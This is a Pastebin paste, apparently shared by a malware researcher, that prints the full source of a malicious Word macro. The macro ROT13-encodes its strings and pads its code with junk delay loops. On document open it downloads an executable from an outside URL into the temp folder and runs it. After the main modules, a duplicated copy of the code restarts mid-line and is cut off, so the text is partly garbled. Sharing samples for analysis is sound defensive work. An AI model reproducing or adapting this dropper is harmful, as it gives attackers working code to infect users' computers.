SHARE
TWEET

Malicious Word macro

dynamoo Feb 17th, 2015 211 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. REM == MODULE 1 ============================================
  2.  
  3. Attribute VB_Name = "Module1"
  4. Private Const LW4O3AUER = ""
  5. Private Const QPFGLMSjq = LW4O3AUER
  6. Private Const LRipI5OslYA = "abcdefghijklmnopqrstuvwxyz"
  7. Private Const GLEqSmimQC = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
  8. Function ZRCOUP(ByVal InString As String)
  9.  
  10.  
  11. Dim LetterU As String
  12. Dim LetterL As String
  13. Dim Letter As String
  14. Dim Rot13 As String
  15. Dim i As Integer
  16. LetterU = GLEqSmimQC
  17. LetterL = LRipI5OslYA
  18. i = 0
  19. Do While i <= Len(InString)
  20. i = i + 1
  21. Letter = Mid(InString, i, 1)
  22. If I0A7WvDveK(Letter) = True Then
  23. If cIRt4Ae(Letter) = True Then
  24. Rot13 = Rot13 & Mid(LetterU & LetterU, InStr(LetterU, Letter) + 13, 1)
  25. Else
  26. Rot13 = Rot13 & Mid(LetterL & LetterL, InStr(LetterL, Letter) + 13, 1)
  27. End If
  28. Else
  29. Rot13 = Rot13 + Letter
  30. End If
  31. Loop
  32.  ZRCOUP = Rot13
  33. End Function
  34. Function cIRt4Ae(ByVal InString As String) As Boolean
  35. If StrComp(Trim(InString), "") = 0 Then
  36.  cIRt4Ae = False
  37. Exit Function
  38. End If
  39. If StrComp(InString, UCase(InString)) = 0 Then
  40.  cIRt4Ae = True
  41. Else
  42.  cIRt4Ae = False
  43. End If
  44. End Function
  45. Function I0A7WvDveK(ByVal InString As String) As Boolean
  46. InString = UCase(InString)
  47. If InString = "" Then I0A7WvDveK = False: Exit Function
  48. If Asc(InString) >= 65 And Asc(InString) <= 90 Then
  49.  I0A7WvDveK = True
  50. Else
  51.  I0A7WvDveK = False
  52. End If
  53. End Function
  54.  
  55. REM == MODULE 11 ============================================
  56.  
  57. Attribute VB_Name = "Module11"
  58. Private Const pIna0CSVNsu = "Furyy.Nccyvpngvba"
  59. Private Const dvr5p = "NQBQO.Fgernz"
  60. Private Const wvYm = "Fpevcgvat.SvyrFlfgrzBowrpg"
  61. Private Const OJvaKHZFGT = "TRG"
  62. Private Const dCkKHihXXc = "ZFKZY2.KZYUGGC"
  63. Private Const WWNcjAI4U = "\qfUUU.rkr"
  64. Private Const s8A4IFJCpDYh = "uggc://zjpbq4.pon.cy/wf/ova.rkr"
  65. Private Const gS5U = wvYm
  66.  
  67. Sub ysrSwepCA()
  68. Dim zFWcw, gmkGo6q
  69. Dim EfQhk As Integer
  70. For EfQhk = 655 To 655 + 5
  71. DoEvents
  72. Next EfQhk
  73. Dim Gagod As Integer
  74. For Gagod = 2269 To 2269 + 5
  75. DoEvents
  76. Next Gagod
  77. Set zFWcw = CreateObject(ZRCOUP(gS5U))
  78. Dim wCyKbc As Integer
  79. For wCyKbc = 654 To 654 + 5
  80. DoEvents
  81. Next wCyKbc
  82. Dim EseFcbC As Integer
  83. For EseFcbC = 212 To 212 + 5
  84. DoEvents
  85. Next EseFcbC
  86. Dim ijnK2g, j_YLrCc1S, fz21trwt
  87. Const rihuZ61esFi = 2
  88. Dim iGZkZVPif As Integer
  89. For iGZkZVPif = 1004 To 1004 + 5
  90. DoEvents
  91. Next iGZkZVPif
  92. Dim zuYaG As Integer
  93. For zuYaG = 813 To 813 + 5
  94. DoEvents
  95. Next zuYaG
  96. Dim CmwCy As Integer
  97. For CmwCy = 2175 To 2175 + 5
  98. DoEvents
  99. Next CmwCy
  100. Dim nrRsDxPMjeVRduJfSc As Integer
  101. For nrRsDxPMjeVRduJfSc = 971 To 971 + 5
  102. DoEvents
  103. Next nrRsDxPMjeVRduJfSc
  104. Dim ocNpLYm As Integer
  105. For ocNpLYm = 2458 To 2458 + 5
  106. DoEvents
  107. Next ocNpLYm
  108. Dim oqQdwEtZUU As Integer
  109. For oqQdwEtZUU = 2268 To 2268 + 5
  110. DoEvents
  111. Next oqQdwEtZUU
  112. Set ijnK2g = zFWcw.GetSpecialFolder(rihuZ61esFi)
  113. Dim rRsDxPMEeVRdufSczuYaGag As Integer
  114. For rRsDxPMEeVRdufSczuYaGag = 1256 To 1256 + 5
  115. DoEvents
  116. Next rRsDxPMEeVRdufSczuYaGag
  117. Dim cMuwQt As Integer
  118. For cMuwQt = 844 To 844 + 5
  119. DoEvents
  120. Next cMuwQt
  121. Dim knfDhLrgArivFo As Integer
  122. For knfDhLrgArivFo = 372 To 372 + 5
  123. DoEvents
  124. Next knfDhLrgArivFo
  125. strLink = ZRCOUP(s8A4IFJCpDYh)
  126. Dim paSaEf As Integer
  127. For paSaEf = 752 To 752 + 5
  128. DoEvents
  129. Next paSaEf
  130. Dim UUTZJPYoONeT As Integer
  131. For UUTZJPYoONeT = 401 To 401 + 5
  132. DoEvents
  133. Next UUTZJPYoONeT
  134. Dim JfSczuYa As Integer
  135. For JfSczuYa = 2237 To 2237 + 5
  136. DoEvents
  137. Next JfSczuYa
  138. strSaveTo = ijnK2g & ZRCOUP(WWNcjAI4U)
  139. Dim PQBcNehkcAeI As Integer
  140. For PQBcNehkcAeI = 1085 To 1085 + 5
  141. DoEvents
  142. Next PQBcNehkcAeI
  143. Dim ZwrUVCQckaF As Integer
  144. For ZwrUVCQckaF = 167 To 167 + 5
  145. DoEvents
  146. Next ZwrUVCQckaF
  147. Set kSrmQYLjBtNSgg = CreateObject(ZRCOUP(dCkKHihXXc))
  148. Dim lQPQBc As Integer
  149. For lQPQBc = 1688 To 1688 + 5
  150. DoEvents
  151. Next lQPQBc
  152. Dim UVCQcka As Integer
  153. For UVCQcka = 706 To 706 + 5
  154. DoEvents
  155. Next UVCQcka
  156. Dim hkcAesodxnesCll As Integer
  157. For hkcAesodxnesCll = 1876 To 1876 + 5
  158. DoEvents
  159. Next hkcAesodxnesCll
  160. kSrmQYLjBtNSgg.Open ZRCOUP(OJvaKHZFGT), strLink, False
  161. Dim boPjOnEfFQK As Integer
  162. For boPjOnEfFQK = 1815 To 1815 + 5
  163. DoEvents
  164. Next boPjOnEfFQK
  165. Dim OarFbOZwrUV As Integer
  166. For OarFbOZwrUV = 673 To 673 + 5
  167. DoEvents
  168. Next OarFbOZwrUV
  169. Dim ihlQPQ As Integer
  170. For ihlQPQ = 356 To 356 + 5
  171. DoEvents
  172. Next ihlQPQ
  173. Dim CQckaFOONSpw As Integer
  174. For CQckaFOONSpw = 2478 To 2478 + 5
  175. DoEvents
  176. Next CQckaFOONSpw
  177. kSrmQYLjBtNSgg.send
  178. Dim hYxaF As Integer
  179. For hYxaF = 2021 To 2021 + 5
  180. DoEvents
  181. Next hYxaF
  182. Dim QoCYLUtoQS As Integer
  183. For QoCYLUtoQS = 1609 To 1609 + 5
  184. DoEvents
  185. Next QoCYLUtoQS
  186. Dim aGkAgnGND As Integer
  187. For aGkAgnGND = 2150 To 2150 + 5
  188. DoEvents
  189. Next aGkAgnGND
  190. Dim AfsrHKNF As Integer
  191. For AfsrHKNF = 1200 To 1200 + 5
  192. DoEvents
  193. Next AfsrHKNF
  194. Dim DjefdiTMTyZ As Integer
  195. For DjefdiTMTyZ = 124 To 124 + 5
  196. DoEvents
  197. Next DjefdiTMTyZ
  198. Dim UtoQSzTZhQ As Integer
  199. For UtoQSzTZhQ = 1642 To 1642 + 5
  200. DoEvents
  201. Next UtoQSzTZhQ
  202. Set hxuWnpbqBtp4u = CreateObject(ZRCOUP(gS5U))
  203. Dim RgNfQUujgspLiG As Integer
  204. For RgNfQUujgspLiG = 819 To 819 + 5
  205. DoEvents
  206. Next RgNfQUujgspLiG
  207. Dim pxnSNOMRCJQh As Integer
  208. For pxnSNOMRCJQh = 881 To 881 + 5
  209. DoEvents
  210. Next pxnSNOMRCJQh
  211. Dim hahKYQnr As Integer
  212. For hahKYQnr = 1218 To 1218 + 5
  213. DoEvents
  214. Next hahKYQnr
  215. Dim GAegMS As Integer
  216. For GAegMS = 646 To 646 + 5
  217. DoEvents
  218. Next GAegMS
  219. Dim rfdQpmIfDJF As Integer
  220. For rfdQpmIfDJF = 238 To 238 + 5
  221. DoEvents
  222. Next rfdQpmIfDJF
  223. Dim gyYyJDVFcL As Integer
  224. For gyYyJDVFcL = 2008 To 2008 + 5
  225. DoEvents
  226. Next gyYyJDVFcL
  227. If hxuWnpbqBtp4u.FileExists(strSaveTo) Then
  228. Dim BOdJc As Integer
  229. For BOdJc = 899 To 899 + 5
  230. DoEvents
  231. Next BOdJc
  232. Dim GNeFEUKMEGljQF As Integer
  233. For GNeFEUKMEGljQF = 741 To 741 + 5
  234. DoEvents
  235. Next GNeFEUKMEGljQF
  236. Dim HitnFC As Integer
  237. For HitnFC = 1820 To 1820 + 5
  238. DoEvents
  239. Next HitnFC
  240. Dim yyaiuQqVtL As Integer
  241. For yyaiuQqVtL = 794 To 794 + 5
  242. DoEvents
  243. Next yyaiuQqVtL
  244. Dim zJesfR As Integer
  245. For zJesfR = 381 To 381 + 5
  246. DoEvents
  247. Next zJesfR
  248. Dim gNCQNE As Integer
  249. For gNCQNE = 728 To 728 + 5
  250. DoEvents
  251. Next gNCQNE
  252. Dim qiHQOzhEglzJe As Integer
  253. For qiHQOzhEglzJe = 854 To 854 + 5
  254. DoEvents
  255. Next qiHQOzhEglzJe
  256. hxuWnpbqBtp4u.DeleteFile (strSaveTo)
  257. Dim tLYLJDVSpZkp As Integer
  258. For tLYLJDVSpZkp = 1204 To 1204 + 5
  259. DoEvents
  260. Next tLYLJDVSpZkp
  261. Dim NetOCLjeH As Integer
  262. For NetOCLjeH = 115 To 115 + 5
  263. DoEvents
  264. Next NetOCLjeH
  265. Dim ROmVgmiuK As Integer
  266. For ROmVgmiuK = 148 To 148 + 5
  267. DoEvents
  268. Next ROmVgmiuK
  269. Dim pNFBNetOCLj As Integer
  270. For pNFBNetOCLj = 1791 To 1791 + 5
  271. DoEvents
  272. Next pNFBNetOCLj
  273. Dim IUIFzRO As Integer
  274. For IUIFzRO = 684 To 684 + 5
  275. DoEvents
  276. Next IUIFzRO
  277. Dim vGbocN As Integer
  278. For vGbocN = 1317 To 1317 + 5
  279. DoEvents
  280. Next vGbocN
  281. Dim HHvvVfrTnSqIIFzROmVgmiuK As Integer
  282. For HHvvVfrTnSqIIFzROmVgmiuK = 148 To 148 + 5
  283. DoEvents
  284. Next HHvvVfrTnSqIIFzROmVgmiuK
  285. Dim qLzIh As Integer
  286. For qLzIh = 140 To 140 + 5
  287. DoEvents
  288. Next qLzIh
  289. End If
  290. Dim OCAuMJgPb As Integer
  291. For OCAuMJgPb = 158 To 158 + 5
  292. DoEvents
  293. Next OCAuMJgPb
  294. Dim jFEhNgRVvV As Integer
  295. For jFEhNgRVvV = 758 To 758 + 5
  296. DoEvents
  297. Next jFEhNgRVvV
  298. Dim ZlNhMkCOCAu As Integer
  299. For ZlNhMkCOCAu = 1582 To 1582 + 5
  300. DoEvents
  301. Next ZlNhMkCOCAu
  302. Dim MjHzvHY As Integer
  303. For MjHzvHY = 1424 To 1424 + 5
  304. DoEvents
  305. Next MjHzvHY
  306. Dim COCAuM As Integer
  307. For COCAuM = 1138 To 1138 + 5
  308. DoEvents
  309. Next COCAuM
  310. Dim gEwsEUkFtC As Integer
  311. For gEwsEUkFtC = 872 To 872 + 5
  312. DoEvents
  313. Next gEwsEUkFtC
  314. Dim hzLzxrIGdM As Integer
  315. For hzLzxrIGdM = 1855 To 1855 + 5
  316. DoEvents
  317. Next hzLzxrIGdM
  318. Dim Antkhrp9gTyfJ3
  319. Dim eVvKC As Integer
  320. For eVvKC = 303 To 303 + 5
  321. DoEvents
  322. Next eVvKC
  323. Dim qlOQxDQfUAv As Integer
  324. For qlOQxDQfUAv = 2486 To 2486 + 5
  325. DoEvents
  326. Next qlOQxDQfUAv
  327. Dim aQtOotqBET As Integer
  328. For aQtOotqBET = 809 To 809 + 5
  329. DoEvents
  330. Next aQtOotqBET
  331. Dim tBOqKpNfFgr As Integer
  332. For tBOqKpNfFgr = 735 To 735 + 5
  333. DoEvents
  334. Next tBOqKpNfFgr
  335. Dim DYOFSdLLzlM As Integer
  336. For DYOFSdLLzlM = 1713 To 1713 + 5
  337. DoEvents
  338. Next DYOFSdLLzlM
  339. Dim OqKpNfFgr As Integer
  340. For OqKpNfFgr = 735 To 735 + 5
  341. DoEvents
  342. Next OqKpNfFgr
  343. Set Antkhrp9gTyfJ3 = CreateObject(ZRCOUP(dvr5p))
  344. Dim JDVTqLkqmyB As Integer
  345. For JDVTqLkqmyB = 542 To 542 + 5
  346. DoEvents
  347. Next JDVTqLkqmyB
  348. Dim ejwtcpOOq As Integer
  349. For ejwtcpOOq = 657 To 657 + 5
  350. DoEvents
  351. Next ejwtcpOOq
  352. Dim EIunuZzlA As Integer
  353. For EIunuZzlA = 2396 To 2396 + 5
  354. DoEvents
  355. Next EIunuZzlA
  356. Dim stauzHxdmml As Integer
  357. For stauzHxdmml = 753 To 753 + 5
  358. DoEvents
  359. Next stauzHxdmml
  360. Dim peJFFE As Integer
  361. For peJFFE = 245 To 245 + 5
  362. DoEvents
  363. Next peJFFE
  364. With Antkhrp9gTyfJ3
  365. Dim nJQYCP As Integer
  366. For nJQYCP = 453 To 453 + 5
  367. DoEvents
  368. Next nJQYCP
  369. Dim bstOPaxeHYD As Integer
  370. For bstOPaxeHYD = 1531 To 1531 + 5
  371. DoEvents
  372. Next bstOPaxeHYD
  373. Dim AVumj As Integer
  374. For AVumj = 1877 To 1877 + 5
  375. DoEvents
  376. Next AVumj
  377. .Type = 1
  378. Dim YpBpnhzwS As Integer
  379. For YpBpnhzwS = 738 To 738 + 5
  380. DoEvents
  381. Next YpBpnhzwS
  382. Dim LakESFsSpo As Integer
  383. For LakESFsSpo = 249 To 249 + 5
  384. DoEvents
  385. Next LakESFsSpo
  386. Dim ijhmQel As Integer
  387. For ijhmQel = 1328 To 1328 + 5
  388. DoEvents
  389. Next ijhmQel
  390. Dim Cbhdor As Integer
  391. For Cbhdor = 851 To 851 + 5
  392. DoEvents
  393. Next Cbhdor
  394. Dim YcqnVjII As Integer
  395. For YcqnVjII = 536 To 536 + 5
  396. DoEvents
  397. Next YcqnVjII
  398. .Open
  399. Dim rVGBqKBsFQz As Integer
  400. For rVGBqKBsFQz = 2453 To 2453 + 5
  401. DoEvents
  402. Next rVGBqKBsFQz
  403. Dim kQlqyn As Integer
  404. For kQlqyn = 1851 To 1851 + 5
  405. DoEvents
  406. Next kQlqyn
  407. Dim RuNtQjvjh As Integer
  408. For RuNtQjvjh = 1217 To 1217 + 5
  409. DoEvents
  410. Next RuNtQjvjh
  411. Dim pPmlNuLyC As Integer
  412. For pPmlNuLyC = 1123 To 1123 + 5
  413. DoEvents
  414. Next pPmlNuLyC
  415. Dim lbeVuYCAiQri As Integer
  416. For lbeVuYCAiQri = 1870 To 1870 + 5
  417. DoEvents
  418. Next lbeVuYCAiQri
  419. .Write kSrmQYLjBtNSgg.responseBody
  420. Dim HMxqxcpoEI As Integer
  421. For HMxqxcpoEI = 1427 To 1427 + 5
  422. DoEvents
  423. Next HMxqxcpoEI
  424. Dim VtdntpB As Integer
  425. For VtdntpB = 793 To 793 + 5
  426. DoEvents
  427. Next VtdntpB
  428. Dim HlPzvk As Integer
  429. For HlPzvk = 2141 To 2141 + 5
  430. DoEvents
  431. Next HlPzvk
  432. Dim DyceJ As Integer
  433. For DyceJ = 2267 To 2267 + 5
  434. DoEvents
  435. Next DyceJ
  436. Dim mjGqAGCOfgBD As Integer
  437. For mjGqAGCOfgBD = 813 To 813 + 5
  438. DoEvents
  439. Next mjGqAGCOfgBD
  440. .SaveToFile strSaveTo
  441. Dim evJfSdAvZaG As Integer
  442. For evJfSdAvZaG = 703 To 703 + 5
  443. DoEvents
  444. Next evJfSdAvZaG
  445. Dim CmxDzK As Integer
  446. For CmxDzK = 420 To 420 + 5
  447. DoEvents
  448. Next CmxDzK
  449. .Close
  450. Dim fGdbDlC As Integer
  451. For fGdbDlC = 735 To 735 + 5
  452. DoEvents
  453. Next fGdbDlC
  454. Dim gqZZLLnvIkE As Integer
  455. For gqZZLLnvIkE = 2286 To 2286 + 5
  456. DoEvents
  457. Next gqZZLLnvIkE
  458. Dim CpcDZYA As Integer
  459. For CpcDZYA = 1038 To 1038 + 5
  460. DoEvents
  461. Next CpcDZYA
  462. Dim iYOdnVVIIks As Integer
  463. For iYOdnVVIIks = 469 To 469 + 5
  464. DoEvents
  465. Next iYOdnVVIIks
  466. End With
  467. Dim vypOeQG As Integer
  468. For vypOeQG = 1594 To 1594 + 5
  469. DoEvents
  470. Next vypOeQG
  471. Dim KRiIIYOQI As Integer
  472. For KRiIIYOQI = 328 To 328 + 5
  473. DoEvents
  474. Next KRiIIYOQI
  475. Set Antkhrp9gTyfJ3 = Nothing
  476. Dim Ocbrvy As Integer
  477. For Ocbrvy = 1089 To 1089 + 5
  478. DoEvents
  479. Next Ocbrvy
  480. Dim ZlBQY As Integer
  481. For ZlBQY = 505 To 505 + 5
  482. DoEvents
  483. Next ZlBQY
  484. Dim VvYCn As Integer
  485. For VvYCn = 2276 To 2276 + 5
  486. DoEvents
  487. Next VvYCn
  488.  
  489. Dim xRuzMJsF As Integer
  490. For xRuzMJsF = 1019 To 1019 + 5
  491. DoEvents
  492. Next xRuzMJsF
  493. Dim SQVHAHmMyNR As Integer
  494. For SQVHAHmMyNR = 1162 To 1162 + 5
  495. DoEvents
  496. Next SQVHAHmMyNR
  497. If hxuWnpbqBtp4u.FileExists(strSaveTo) Then
  498. Dim ahoSgfvyB As Integer
  499. For ahoSgfvyB = 88 To 88 + 5
  500. DoEvents
  501. Next ahoSgfvyB
  502. Dim QSSQVHA As Integer
  503. For QSSQVHA = 1541 To 1541 + 5
  504. DoEvents
  505. Next QSSQVHA
  506. Dim qOeQGorL As Integer
  507. For qOeQGorL = 929 To 929 + 5
  508. DoEvents
  509. Next qOeQGorL
  510. Dim RIiKpaVJfUL As Integer
  511. For RIiKpaVJfUL = 1181 To 1181 + 5
  512. DoEvents
  513. Next RIiKpaVJfUL
  514. Dim vmLbTDl As Integer
  515. For vmLbTDl = 660 To 660 + 5
  516. DoEvents
  517. Next vmLbTDl
  518. End If
  519. Dim AfFrHLNF As Integer
  520. For AfFrHLNF = 1199 To 1199 + 5
  521. DoEvents
  522. Next AfFrHLNF
  523. Dim mLbTDloI As Integer
  524. For mLbTDloI = 1865 To 1865 + 5
  525. DoEvents
  526. Next mLbTDloI
  527. Dim oEHKCbEjT As Integer
  528. For oEHKCbEjT = 393 To 393 + 5
  529. DoEvents
  530. Next oEHKCbEjT
  531. Dim wftRStCOr As Integer
  532. For wftRStCOr = 1281 To 1281 + 5
  533. DoEvents
  534. Next wftRStCOr
  535. Dim oFrvVJGASP As Integer
  536. For oFrvVJGASP = 509 To 509 + 5
  537. DoEvents
  538. Next oFrvVJGASP
  539. Dim tcpOOqyL As Integer
  540. For tcpOOqyL = 1109 To 1109 + 5
  541. DoEvents
  542. Next tcpOOqyL
  543. Dim AULCPaIIwi As Integer
  544. For AULCPaIIwi = 634 To 634 + 5
  545. DoEvents
  546. Next AULCPaIIwi
  547. Set ыјјыва = CreateObject(ZRCOUP(pIna0CSVNsu))
  548. Dim dBQJtc As Integer
  549. For dBQJtc = 969 To 969 + 5
  550. DoEvents
  551. Next dBQJtc
  552. Dim rkrVwixBEw As Integer
  553. For rkrVwixBEw = 1508 To 1508 + 5
  554. DoEvents
  555. Next rkrVwixBEw
  556. ыјјыва.Open ijnK2g & ZRCOUP(WWNcjAI4U)
  557. Dim QsgpNHlnTo As Integer
  558. For QsgpNHlnTo = 2223 To 2223 + 5
  559. DoEvents
  560. Next QsgpNHlnTo
  561. Dim MYpqLMQubET As Integer
  562. For MYpqLMQubET = 1368 To 1368 + 5
  563. DoEvents
  564. Next MYpqLMQubET
  565. End Sub
  566.  
  567.  
  568.  
  569. REM == ThisDocument ============================================
  570.  
  571. Attribute VB_Name = "ThisDocument"
  572. Attribute VB_Base = "1Normal.ThisDocument"
  573. Attribute VB_GlobalNameSpace = False
  574. Attribute VB_Creatable = False
  575. Attribute VB_PredeclaredId = True
  576. Attribute VB_Exposed = True
  577. Attribute VB_TemplateDerived = True
  578. Attribute VB_Customizable = True
  579. Sub autoopen()
  580. ysrSwepCA
  581. End Sub
  582.  
  583. ://zjpbq4.pon.cy/wf/ova.rkr"
  584. Private Const gS5U = wvYm
  585.  
  586. Sub ysrSwepCA()
  587. Dim zFWcw, gmkGo6q
  588. Dim EfQhk As Integer
  589. For EfQhk = 655 To 655 + 5
  590. DoEvents
  591. Next EfQhk
  592. Dim Gagod As Integer
  593. For Gagod = 2269 To 2269 + 5
  594. DoEvents
  595. Next Gagod
  596. Set zFWcw = CreateObject(ZRCOUP(gS5U))
  597. Dim wCyKbc As Integer
  598. For wCyKbc = 654 To 654 + 5
  599. DoEvents
  600. Next wCyKbc
  601. Dim EseFcbC As Integer
  602. For EseFcbC = 212 To 212 + 5
  603. DoEvents
  604. Next EseFcbC
  605. Dim ijnK2g, j_YLrCc1S, fz21trwt
  606. Const rihuZ61esFi = 2
  607. Dim iGZkZVPif As Integer
  608. For iGZkZVPif = 1004 To 1004 + 5
  609. DoEvents
  610. Next iGZkZVPif
  611. Dim zuYaG As Integer
  612. For zuYaG = 813 To 813 + 5
  613. DoEvents
  614. Next zuYaG
  615. Dim CmwCy As Integer
  616. For CmwCy = 2175 To 2175 + 5
  617. DoEvents
  618. Next CmwCy
  619. Dim nrRsDxPMjeVRduJfSc As Integer
  620. For nrRsDxPMjeVRduJfSc = 971 To 971 + 5
  621. DoEvents
  622. Next nrRsDxPMjeVRduJfSc
  623. Dim ocNpLYm As Integer
  624. For ocNpLYm = 2458 To 2458 + 5
  625. DoEvents
  626. Next ocNpLYm
  627. Dim oqQdwEtZUU As Integer
  628. For oqQdwEtZUU = 2268 To 2268 + 5
  629. DoEvents
  630. Next oqQdwEtZUU
  631. Set ijnK2g = zFWcw.GetSpecialFolder(rihuZ61esFi)
  632. Dim rRsDxPMEeVRdufSczuYaGag As Integer
  633. For rRsDxPMEeVRdufSczuYaGag = 1256 To 1256 + 5
  634. DoEvents
  635. Next rRsDxPMEeVRdufSczuYaGag
  636. Dim cMuwQt As Integer
  637. For cMuwQt = 844 To 844 + 5
  638. DoEvents
  639. Next cMuwQt
  640. Dim knfDhLrgArivFo As Integer
  641. For knfDhLrgArivFo = 372 To 372 + 5
  642. DoEvents
  643. Next knfDhLrgArivFo
  644. strLink = ZRCOUP(s8A4IFJCpDYh)
  645. Dim paSaEf As Integer
  646. For paSaEf = 752 To 752 + 5
  647. DoEvents
  648. Next paSaEf
  649. Dim UUTZJPYoONeT As Integer
  650. For UUTZJPYoONeT = 401 To 401 + 5
  651. DoEvents
  652. Next UUTZJPYoONeT
  653. Dim JfSczuYa As Integer
  654. For JfSczuYa = 2237 To 2237 + 5
  655. DoEvents
  656. Next JfSczuYa
  657. strSaveTo = ijnK2g & ZRCOUP(WWNcjAI4U)
  658. Dim PQBcNehkcAeI As Integer
  659. For PQBcNehkcAeI = 1085 To 1085 + 5
  660. DoEvents
  661. Next PQBcNehkcAeI
  662. Dim ZwrUVCQckaF As Integer
  663. For ZwrUVCQckaF = 167 To 167 + 5
  664. DoEvents
  665. Next ZwrUVCQckaF
  666. Set kSrmQYLjBtNSgg = CreateObject(ZRCOUP(dCkKHihXXc))
  667. Dim lQPQBc As Integer
  668. For lQPQBc = 1688 To 1688 + 5
  669. DoEvents
  670. Next lQPQBc
  671. Dim UVCQcka As Integer
  672. For UVCQcka = 706 To 706 + 5
  673. DoEvents
  674. Next UVCQcka
  675. Dim hkcAesodxnesCll As Integer
  676. For hkcAesodxnesCll = 1876 To 1876 + 5
  677. DoEvents
  678. Next hkcAesodxnesCll
  679. kSrmQYLjBtNSgg.Open ZRCOUP(OJvaKHZFGT), strLink, False
  680. Dim boPjOnEfFQK As Integer
  681. For boPjOnEfFQK = 1815 To 1815 + 5
  682. DoEvents
  683. Next boPjOnEfFQK
  684. Dim OarFbOZwrUV As Integer
  685. For OarFbOZwrUV = 673 To 673 + 5
  686. DoEvents
  687. Next OarFbOZwrUV
  688. Dim ihlQPQ As Integer
  689. For ihlQPQ = 356 To 356 + 5
  690. DoEvents
  691. Next ihlQPQ
  692. Dim CQckaFOONSpw As Integer
  693. For CQckaFOONSpw = 2478 To 2478 + 5
  694. DoEvents
  695. Next CQckaFOONSpw
  696. kSrmQYLjBtNSgg.send
  697. Dim hYxaF As Integer
  698. For hYxaF = 2021 To 2021 + 5
  699. DoEvents
  700. Next hYxaF
  701. Dim QoCYLUtoQS As Integer
  702. For QoCYLUtoQS = 1609 To 1609 + 5
  703. DoEvents
  704. Next QoCYLUtoQS
  705. Dim aGkAgnGND As Integer
  706. For aGkAgnGND = 2150 To 2150 + 5
  707. DoEvents
  708. Next aGkAgnGND
  709. Dim AfsrHKNF As Integer
  710. For AfsrHKNF = 1200 To 1200 + 5
  711. DoEvents
  712. Next AfsrHKNF
  713. Dim DjefdiTMTyZ As Integer
  714. For DjefdiTMTyZ = 124 To 124 + 5
  715. DoEvents
  716. Next DjefdiTMTyZ
  717. Dim UtoQSzTZhQ As Integer
  718. For UtoQSzTZhQ = 1642 To 1642 + 5
  719. DoEvents
  720. Next UtoQSzTZhQ
  721. Set hxuWnpbqBtp4u = CreateObject(ZRCOUP(gS5U))
  722. Dim RgNfQUujgspLiG As Integer
  723. For RgNfQUujgspLiG = 819 To 819 + 5
  724. DoEvents
  725. Next RgNfQUujgspLiG
  726. Dim pxnSNOMRCJQh As Integer
  727. For pxnSNOMRCJQh = 881 To 881 + 5
  728. DoEvents
  729. Next pxnSNOMRCJQh
  730. Dim hahKYQnr As Integer
  731. For hahKYQnr = 1218 To 1218 + 5
  732. DoEvents
  733. Next hahKYQnr
  734. Dim GAegMS As Integer
  735. For GAegMS = 646 To 646 + 5
  736. DoEvents
  737. Next GAegMS
  738. Dim rfdQpmIfDJF As Integer
  739. For rfdQpmIfDJF = 238 To 238 + 5
  740. DoEvents
  741. Next rfdQpmIfDJF
  742. Dim gyYyJDVFcL As Integer
  743. For gyYyJDVFcL = 2008 To 2008 + 5
  744. DoEvents
  745. Next gyYyJDVFcL
  746. If hxuWnpbqBtp4u.FileExists(strSaveTo) Then
  747. Dim BOdJc As Integer
  748. For BOdJc = 899 To 899 + 5
  749. DoEvents
  750. Next BOdJc
  751. Dim GNeFEUKMEGljQF As Integer
  752. For GNeFEUKMEGljQF = 741 To 741 + 5
  753. DoEvents
  754. Next GNeFEUKMEGljQF
  755. Dim HitnFC As Integer
  756. For HitnFC = 1820 To 1820 + 5
  757. DoEvents
  758. Next HitnFC
  759. Dim yyaiuQqVtL As Integer
  760. For yyaiuQqVtL = 794 To 794 + 5
  761. DoEvents
  762. Next yyaiuQqVtL
  763. Dim zJesfR As Integer
  764. For zJesfR = 381 To 381 + 5
  765. DoEvents
  766. Next zJesfR
  767. Dim gNCQNE As Integer
  768. For gNCQNE = 728 To 728 + 5
  769. DoEvents
  770. Next gNCQNE
  771. Dim qiHQOzhEglzJe As Integer
  772. For qiHQOzhEglzJe = 854 To 854 + 5
  773. DoEvents
  774. Next qiHQOzhEglzJe
  775. hxuWnpbqBtp4u.DeleteFile (strSaveTo)
  776. Dim tLYLJDVSpZkp As Integer
  777. For tLYLJDVSpZkp = 1204 To 1204 + 5
  778. DoEvents
  779. Next tLYLJDVSpZkp
  780. Dim NetOCLjeH As Integer
  781. For NetOCLjeH = 115 To 115 + 5
  782. DoEvents
  783. Next NetOCLjeH
  784. Dim ROmVgmiuK As Integer
  785. For ROmVgmiuK = 148 To 148 + 5
  786. DoEvents
  787. Next ROmVgmiuK
  788. Dim pNFBNetOCLj As Integer
  789. For pNFBNetOCLj = 1791 To 1791 + 5
  790. DoEvents
  791. Next pNFBNetOCLj
  792. Dim IUIFzRO As Integer
  793. For IUIFzRO = 684 To 684 + 5
  794. DoEvents
  795. Next IUIFzRO
  796. Dim vGbocN As Integer
  797. For vGbocN = 1317 To 1317 + 5
  798. DoEvents
  799. Next vGbocN
  800. Dim HHvvVfrTnSqIIFzROmVgmiuK As Integer
  801. For HHvvVfrTnSqIIFzROmVgmiuK = 148 To 148 + 5
  802. DoEvents
  803. Next HHvvVfrTnSqIIFzROmVgmiuK
  804. Dim qLzIh As Integer
  805. For qLzIh = 140 To 140 + 5
  806. DoEvents
  807. Next qLzIh
  808. End If
  809. Dim OCAuMJgPb As Integer
  810. For OCAuMJgPb = 158 To 158 + 5
  811. DoEvents
  812. Next OCAuMJgPb
  813. Dim jFEhNgRVvV As Integer
  814. For jFEhNgRVvV = 758 To 758 + 5
  815. DoEvents
  816. Next jFEhNgRVvV
  817. Dim ZlNhMkCOCAu As Integer
  818. For ZlNhMkCOCAu = 1582 To 1582 + 5
  819. DoEvents
  820. Next ZlNhMkCOCAu
  821. Dim MjHzvHY As Integer
  822. For MjHzvHY = 1424 To 1424 + 5
  823. DoEvents
  824. Next MjHzvHY
  825. Dim COCAuM As Integer
  826. For COCAuM = 1138 To 1138 + 5
  827. DoEvents
  828. Next COCAuM
  829. Dim gEwsEUkFtC As Integer
  830. For gEwsEUkFtC = 872 To 872 + 5
  831. DoEvents
  832. Next gEwsEUkFtC
  833. Dim hzLzxrIGdM As Integer
  834. For hzLzxrIGdM = 1855 To 1855 + 5
  835. DoEvents
  836. Next hzLzxrIGdM
  837. Dim Antkhrp9gTyfJ3
  838. Dim eVvKC As Integer
  839. For eVvKC = 303 To 303 + 5
  840. DoEvents
  841. Next eVvKC
  842. Dim qlOQxDQfUAv As Integer
  843. For qlOQxDQfUAv = 2486 To 2486 + 5
  844. DoEvents
